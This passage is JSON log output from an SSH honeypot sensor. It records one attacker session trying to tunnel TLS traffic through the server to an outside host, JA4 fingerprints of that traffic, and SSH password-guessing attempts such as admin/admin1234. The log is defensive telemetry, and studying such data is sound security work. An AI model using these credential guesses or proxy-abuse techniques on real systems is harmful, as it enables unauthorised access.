\\xff?\\x80\\xd9\\x81|%\\xe4\\x98g\\xd1pz\\xc528n\\xec\\xd7\\x91v\\x8f\\x1d\\x0f\\x99p\\xf0\\x83\\x89f\\x81\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:02.509843Z","src_ip":"173.208.188.210","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:02.616956Z","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:02.620537Z","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:02.666314Z","src_ip":"173.208.188.210","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe3\\x1d\\x9b\\xe1\\xcc\\xd9\\xc6)\\xbefX <`[Y\\xa9f\\xf3\\x1f\\x19\\xb1&\\x9c/M\\x9ej\\xef\\xae\\xceA \\x81\\xa6Qe\\xe3\\xa7\\xd8\\xb9\\xba\\r\\xa2\\xb6\\xc7\\x98GG\\xc8N\\x9a\\x8a\\xac\\xa5\\x86\\xdc\\x85\\xd0\\rRIh\\t\\x1c\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 )\\xdf\\xf8\\xd7\\xcc\\x05\\xc2\\xf3e\\xf5\\x18\\xb8\\x8a\\x94\\xc3A\\xef81I8\\xbfA\\x9e\\x96j\\xe0\\xb6&1\\x81j\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe3\\x1d\\x9b\\xe1\\xcc\\xd9\\xc6)\\xbefX <`[Y\\xa9f\\xf3\\x1f\\x19\\xb1&\\x9c/M\\x9ej\\xef\\xae\\xceA \\x81\\xa6Qe\\xe3\\xa7\\xd8\\xb9\\xba\\r\\xa2\\xb6\\xc7\\x98GG\\xc8N\\x9a\\x8a\\xac\\xa5\\x86\\xdc\\x85\\xd0\\rRIh\\t\\x1c\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 )\\xdf\\xf8\\xd7\\xcc\\x05\\xc2\\xf3e\\xf5\\x18\\xb8\\x8a\\x94\\xc3A\\xef81I8\\xbfA\\x9e\\x96j\\xe0\\xb6&1\\x81j\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:02.669454Z","src_ip":"173.208.188.210","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:02.677400Z","src_ip":"173.208.188.210","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe3\\xc7\\x16su\\xb475y}\\xd9\\x03*\\xea\\x8e\\xa7\\x18\\x82w\\xe4\\x7f\\x86\\xf4\\xfeo+\\x83\\xaa\\xb6\\xa3\\x0b\\x1f (\\xec\\xb2%\\xa0\\x8a\\x9d\\x9e\\x9c\\xf9\\x0b\\xac\\xc0\\xbd\\xea\\x19\\x93\\xcf\\x10\\x8d?^\\xc1\\xee__\\x8c\\xbe\\x01\\xcdb\\xd8\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 @\\x88\\xec\\x91T\\xa2g\\xfe\\xd6t\\xec\\x8c\\x10,\\xc7\\x9f\\xe5\\xea\\x02I/\\xb5K\\x1c\\x13\\xc9\\x98\\xf3\\xd7\\nT4\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe3\\xc7\\x16su\\xb475y}\\xd9\\x03*\\xea\\x8e\\xa7\\x18\\x82w\\xe4\\x7f\\x86\\xf4\\xfeo+\\x83\\xaa\\xb6\\xa3\\x0b\\x1f (\\xec\\xb2%\\xa0\\x8a\\x9d\\x9e\\x9c\\xf9\\x0b\\xac\\xc0\\xbd\\xea\\x19\\x93\\xcf\\x10\\x8d?^\\xc1\\xee__\\x8c\\xbe\\x01\\xcdb\\xd8\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 @\\x88\\xec\\x91T\\xa2g\\xfe\\xd6t\\xec\\x8c\\x10,\\xc7\\x9f\\xe5\\xea\\x02I/\\xb5K\\x1c\\x13\\xc9\\x98\\xf3\\xd7\\nT4\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:02.682883Z","src_ip":"173.208.188.210","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:02.729607Z","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:02.767450Z","src_ip":"173.208.188.210","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Xz\\xd8\\x84u\\x1es\\xc6\\xf9\\xc9O\\x85H\\xcd\\xab\\xa5\\xecU\\xee\\x19(iRu\\xd8\\x9d.\\x88\\xcd\\x88i\\xb5 \\xbc\\xf1`?!L\\x8c\\xf7\\xc4\\xb6\\xdc\\x9e\\xa7\\xca\\x05\\xd3\\x83\\xf2\\x1c@\\x9a4\\xc6\\'\\x13\\x8b\\xb0\\xbcG\\xd9\\xd4\\x17\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8a\\x11\\x87\\x1eh&\\x8a\\xa5\\xeb\\x1d\\xd2T^\\xb1\\xac\\xfb\\xa2:4\\xfe\\x89\\xe5\\xe7\\xc7\\x1c\\x99\\x0b\\xf0\\x90[J6\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Xz\\xd8\\x84u\\x1es\\xc6\\xf9\\xc9O\\x85H\\xcd\\xab\\xa5\\xecU\\xee\\x19(iRu\\xd8\\x9d.\\x88\\xcd\\x88i\\xb5 \\xbc\\xf1`?!L\\x8c\\xf7\\xc4\\xb6\\xdc\\x9e\\xa7\\xca\\x05\\xd3\\x83\\xf2\\x1c@\\x9a4\\xc6\\'\\x13\\x8b\\xb0\\xbcG\\xd9\\xd4\\x17\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8a\\x11\\x87\\x1eh&\\x8a\\xa5\\xeb\\x1d\\xd2T^\\xb1\\xac\\xfb\\xa2:4\\xfe\\x89\\xe5\\xe7\\xc7\\x1c\\x99\\x0b\\xf0\\x90[J6\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:02.770446Z","src_ip":"173.208.188.210","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:02.783775Z","src_ip":"45.153.34.195","session":"67a50847b5fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:03.125710Z","src_ip":"91.92.40.36","session":"0556c667cfef","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:03.187919Z","src_ip":"173.208.188.210","session":"8fcda4f697b8","protocol":"ssh"}
